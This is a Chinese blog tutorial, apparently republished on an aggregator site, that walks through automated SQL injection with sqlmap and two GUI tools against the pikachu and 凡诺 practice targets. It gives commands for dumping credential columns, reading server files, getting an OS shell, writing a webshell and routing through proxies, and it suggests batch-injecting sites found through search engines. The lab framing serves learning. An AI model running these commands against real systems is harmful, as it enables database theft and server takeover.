码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【网络安全-sql注入(5)】sqlmap以及几款自动化sql注入工具的详细使用过程(提供工具)


    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

    超详细的网络安全笔记

    二,文件包含漏洞详解

    前期准备(非必需):

    (也可以拿自己的环镜来玩,我是用pikachu靶场来演示的)

    1-1 pikachu靶场安装

    【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Aini的博客-CSDN博客文章浏览阅读134次,点赞10次,收藏2次。【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502

    1-2 Burp Suite抓包工具安装

    【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置-CSDN博客文章浏览阅读123次。【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置https://blog.csdn.net/m0_67844671/article/details/133843910?spm=1001.2014.3001.5502

    一,sqlmap 工具的详细使用

    kali系统自带这个工具,无需安装直接sqlmap 后面接参数使用

    Windows上参照以下方法安装即可

    1-1 工具下载

    1-1-1 sqlmap下载

    sqlmap 工具下载地址:

    GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover toolAutomatic SQL injection and database takeover tool - GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover toolicon-default.png?t=N7T8https://github.com/sqlmapproject/sqlmap

    下载以后是压缩包格式,解压缩以后就有Python2.7环境就可以直接用了 

    百度网盘下载地址(包含所有工具) 

    百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固,支持教育网加速,支持手机端。注册使用百度网盘即可享受免费存储空间icon-default.png?t=N7T8https://pan.baidu.com/s/1EZxLxEaOuUJ_s03coDcu6g?pwd=8888

    提取码:8888 

    这是一款Python2写的工具,电脑需要安装Python2.7并配置好环境变量

    1-1-2 安装Python2.7

    百度网盘也提供了,可以直接下载

    1、通过 python 官网 找到 2.7 版本进行下载:Welcome to Python.orgThe official home of the Python Programming Languageicon-default.png?t=N7T8https://www.python.org/Python Release Python 2.7.18 | Python.orgThe official home of the Python Programming Languageicon-default.png?t=N7T8https://www.python.org/downloads/release/python-2718/ 

    2,双击下载的安装包进行安装,按提示操作即可。我的安装目录为 D:\ruanjian\Python27

    3,接下来配置环境变量 

    此电脑右击-------属性--------高级系统设置 ------- 环境变量

     找到path双击

     

    注意一个是Python.exe所在目录,另一个是scripts目录,需要配置两个 

    最后确定,退出即可 

    如果你电脑只有一个Python,则打开终端输入 python即可看到如下页面,说明安装成功了

    因为我电脑装了三个版本,为了区分开,我得输入python2才可以 

    到此Python安装成功 

    1-2 工具参数

    1-2-1 -r 参数

    GET请求或者POST请求都可以用-r参数,后面可以跟一个网址或者一个数据包 

    以pikachu靶场为例:先抓一个数据包过来

    复制数据包内容,在sqlmap.py所在目录下创建一个1.txt 把内容粘贴过去 

     在sqlmap.py目录下打开终端(按住shift,鼠标右击就可以看到终端),就可以用了

    python2 .\sqlmap.py -r .\1.txt

    提示已经发现目标服务器用的是MySQL数据库,是否继续探测是否用了其他数据库?

    既然已经发现是mysql数据库了,就没必要去探测是不是用了别的数据库了,所以输入n就可以

    下面讲到了一个risk和level这两个参数,说对所有测试是否保持默认等级,先讲一下这两个参数吧

    1-1 --risk=RISK

    工作当中常用的risk的值为3

    python2 .\sqlmap.py -r .\1.txt --risk 3

    执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入测试

    1-2 --level=LEVEL

    工作当中常用的level的值为3

     执行测试等级(1-5,默认是1),使用-level 参数且数值 >= 2的时候也会检查cookie里面的参数,当>=3的时候会检查User-Agent 和 refer。

    python2 .\sqlmap.py -r .\1.txt --level 3 --level 3

    所以当level值越大,检测的数据项就越多 ,拿出来的数据越多,相对应的耗费的事件就比较长


    所以对于这两个参数保持默认即可,如果没有返回数据,则可以调 

    已经有一些结果出来了

    结尾提示说‘已经检测到参数id是可注入的,是否继续测试别的参数’,我们就选择n,或者你想测试别的参数能不能注入也可以输入y继续测试

     已经有数据出来了,SQL注入的类型,数据库,中间件相关的信息等

     不过还没有获取数据,想要获取数据,我们就得继续学习其他数据

    1-2-2 -v 参数

     python2 .\sqlmap.py -r .\1.txt -v 5

    显示详细信息的意思,ERBOSE信息级别:0-6(默认为1)

    0:只显示Python错误严重的信息

    1:同时显示基本信息和警告信息

    2:同时显示debug信息

    3:同时显示注入的payload

    4:同时显示HTTP请求

    5:同时显示HTTP响应头

    6:同时显示HTTP相应页面

    比如说我们设置个5看看效果 ,显示的信息肯定会很多

    1-2-3 -p 参数 

     python2 .\sqlmap.py -r .\1.txt -level 3 -p id

    如果说我们通过 -r 指定的数据包中有多个参数,则可以用-p指定对哪个参数进行SQL注入

    (我们现在指定的数据包中只有一个参数,所以也只能只能一个参数了)

    我们指定了 -p id 则只针对id进行SQL注入,如果数据包中还有别的参数也可以指定

     1-2-4 --threads

    这个参数不要调的很大,避免短时间内给目标服务器发大量请求,让服务器崩溃

    线程数,如果你想让sqlmap跑的更快,可以更改这个线程数的数值,默认为10

    比如: --threads 20,跑的可以更快了

    我们还可以对所有参数的默认值进行调整,我们称之为sqlmap优化,配置文件如下路径

     1-2-5 -batch-smart

     python2 .\sqlmap.py -r .\1.txt -batch-smart

    只能判断测试,只能寻找注入点进行测试

    他做的事情很多,如果发现注入点给你自动进行注入,获取数据,不过效率不高,一般很少使用

    数据库连接用户都查出来了 ,下面提示要不要尝试爆破,我们可以尝试爆破一下

     然后及时各种一顿操作猛如虎,发大量请求开始破解

    这个智能指令会把数据库扒一遍,而且会把数据结果输出到文件中

    sqlmap/output/dump文件夹中,没记错的话按日期存储的

    1-2-6  -mobile 参数

     python2 .\sqlmap.py -r .\1.txt -mobile

    模拟测试手机的环境站点,用的比较少,如果有个网站只允许手机访问,那么我们就可以用这个参数来模拟手机

    每一次发包的时候把请求头User-Agent改成这些手机,从而模拟手机的数据包 

    1-2-7 -m 参数

    -m 是批量注入,比如现在有多个数据包,可以通过-m参数来批量注入

    一般都是通过搜索引擎找到哦啊多个网站记录下来,然后通过-m参数来对这些网站批量注入 

    比如我们现在准备多个网址,放到2.txt中

     python2 .\sqlmap.py -m .\2.txt

     

    上面就是常用的参数,接下来介绍一些别的参数 

    1-2-7 其他参数

    --dbs: # 会获取所有的数据库 //sqlmap会自动的探测web应用后端的数据库类型
    --current-user: ##大多数数据库中可检测到数据库管理系统当前用户
    --current-db:##当前连接数据库名
    --is-dba:##判断当前的用户是否为管理员
    --users:# 列出数据库所有所有用户

    7-1 --dbs 
     python2 .\sqlmap.py -r .\1.txt --dbs

    7-2 --current-db 
     python2 .\sqlmap.py -r .\1.txt --current-db
    7-3  --current-user
     python2 .\sqlmap.py -r .\1.txt --current-user

    7-4 --is-dba
    python2 .\sqlmap.py -r .\1.txt --is-dba

    7-5 --users
    python2 .\sqlmap.py -r .\1.txt --users

    7-6 -tables -D 

    获取表名

    -D 指定数据库

     python2 .\sqlmap.py -r .\1.txt --tables -D pikachu
     7-7 --columns -T 'xx'  -D 'xx' 
    python2 .\sqlmap.py -r .\1.txt --columns -T users -D pikachu

    获取字段名

    -T 指定表名

    -D 指定数据库名

    7-8 -T  'xx'  -C  'xx'  -D  'xx'
     python2 .\sqlmap.py -r .\1.txt -C username,password -T users -D pikachu

    读取字段内容

    -T 指定表名

    -C 指定字段名

    -D 指定库名

    提示结果已经输出到了文件当中 ,C盘按照提示的目录去找一下

    7-9 --file-read

    自己试一下,我是win2003搭建的靶场,这命令不太灵

     python2 .\sqlmap.py -r .\1.txt --file-read /etc/password
    7-10 --os-shell

    这个是有前提条件的

    1. mysql开启了secure_file_priv=""的配置 ---- 如何开启前面讲过了
    2. 要知道网站代码的真实物理路径 ---------- 需要信息收集,通过别的方法来直到真实路径
    3. 物理路径具备写入权限 ----------- 要不然木马写不进去
    4. 最好是mysql的root用户,这个条件非必须,但是有最好

    假设我们知道了真实路径 C:\tools\phpstudy\PHPTutorial\WWW 

    python2 .\sqlmap.py -r .\1.txt --os-shell

    pikachu是PHP开发的,我们选四 

    让我们提供网站的路径,给了几个选项,第一个就是用sqlmap本身的字段去破解真实路径

    第二个让我们自己提供,第三个让我们指定一个爆破字典 

     我们就选2,把真实路径输入进去

    就这样getshell成功 

    7-11 –proxy-file

    自己参考一下下面格式

    python2 .\sqlmap.py -r .\1.txt -proxy-file .\2.txt
    1. 2.txt 文件内容如下
    2. ## 文件内容如下:
    3. http://192.168.18.100:82
    4. http://192.168.18.101:82
    5. http://192.168.18.102:82
    6. http://192.168.18.103:82
    7. ## 指令:
    8. sqlmap -u http://192.168.18.26:82/sqlserver/1.aspx?xxser=1 -proxy-file 1.txt
    9. ## 代理ip我们可以去一些免费的网站找,比如:西祠代理和快代理
    7-12 -proxy 代理链

    自己参考一下下面格式

    1. sqlmap -u http://192.168.18.26:82/sqlserver/1.aspx?xxser=1 -proxy http://192.168.18.100:82
    2. ## 快代理:
    3. sqlmap -u http://192.168.18.26:82/sqlserver/1.aspx?xxser=1 -proxy http://183.21.81.188:41825
    7-13 --force-ssl 查询SSL证书

    自己参考一下下面格式

    sqlmap -u https://192.168.18.26:82/sqlserver/1.aspx?xxser=1 --force-ssl
    7-14 --file-write 写webshell

    自己参考一下下面格式

    1. 指令: --file-write "c:/2.txt” --file-dest “C:/php/htdocs/sql.php” -v 1
    2. --file-write "c:/2.txt” --file-dest “C:\phpStudy\PHPTutorial\WWW\xx.php” -v 1

    二,穿山甲

    (需要工具或者靶场环境请留言,工具靶场等我晚点上传到网盘上)

    以凡诺企业网站管理系统这个靶场为例,进行演示,安装靶场请参考下面博客:

    【网络安全 ---- 靶场搭建】凡诺企业网站管理系统靶场详细搭建过程(asp网站,练习sql注入)-CSDN博客【网络安全 ---- 靶场搭建】凡诺企业网站管理系统靶场详细搭建过程(asp网站,练习sql注入)https://blog.csdn.net/m0_67844671/article/details/133696909

    我们发现新闻中心这里存在注入点

    工具下载下来以后,打开穿山甲文件夹

    工具就长这样,把存在注入点的网址复制过来  

    我专门写过一篇博客,就是对这个凡诺企业系统网站进行手动SQL注入,链接如下

    【网络安全-SQL注入】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用。SQL注入【3】-CSDN博客本篇文章以凡诺企业网站管理系统为例,讲解了access数据库是如何进行SQL注入的,以及注入点如何利用,如何判断查询字段个数,如果用联合查询爆出数据库数据等;【网络安全-SQL注入】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用。SQL注入【3】;https://blog.csdn.net/m0_67844671/article/details/133469076?spm=1001.2014.3001.5502

    我们知道这是Access数据库,id是个整数类型,设置好了以后就开始 

    让我们选择获取哪些信息,比如数据库路径,网站根路径,驱动信息等

    我们选择所有,点击开始 

    已经停止了,看到stopped表示停止了,点击获取数据 

     点击获取表

     获取出来几个表了,我们选中以后可以继续获取列,获取数据

     可以点击all获取所有数据

     列信息已经获取了,

     先选中列,点击获取数据开始获取数据库数据

     

    工具差不多就讲到这里,还是sqlmap功能比较强大,平时sqlmap用的多 

    三,萝卜头

    工具下载下来以后

    还是以凡诺企业管理系统化为例

    输入网址,Database选择MsAccess 直接开始analyze就可以

    可以看到下面已经有info消息了

    点击tables 然后 GetDBs可以获取数据库,继续GetTables可以获取表,GetCumns可以获取列,GetDate获取数据,还有别的功能,可以研究研究

     

  • 相关阅读:
    python按照【修改时间顺序】读取文件夹下的TXT文本内容
    「Python循环结构」使用for循环实现高斯求和、阶乘、斐波那契数列
    神经网络滤镜使用技巧图,神经滤镜为什么不能用
    Java技能树-RE-DOTALL/MULTILINE
    Python:实现merge sort归并排序算法(附完整源码)
    【开发小记】vue项目打包可视化
    [附源码]java毕业设计大学生心理健康系统
    Golang gorm manytomany 多对多 更新、删除、替换
    xxl-job-架构及原理
    JumpServer---堡垒机
  • 原文地址:https://blog.csdn.net/m0_67844671/article/details/133515613
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号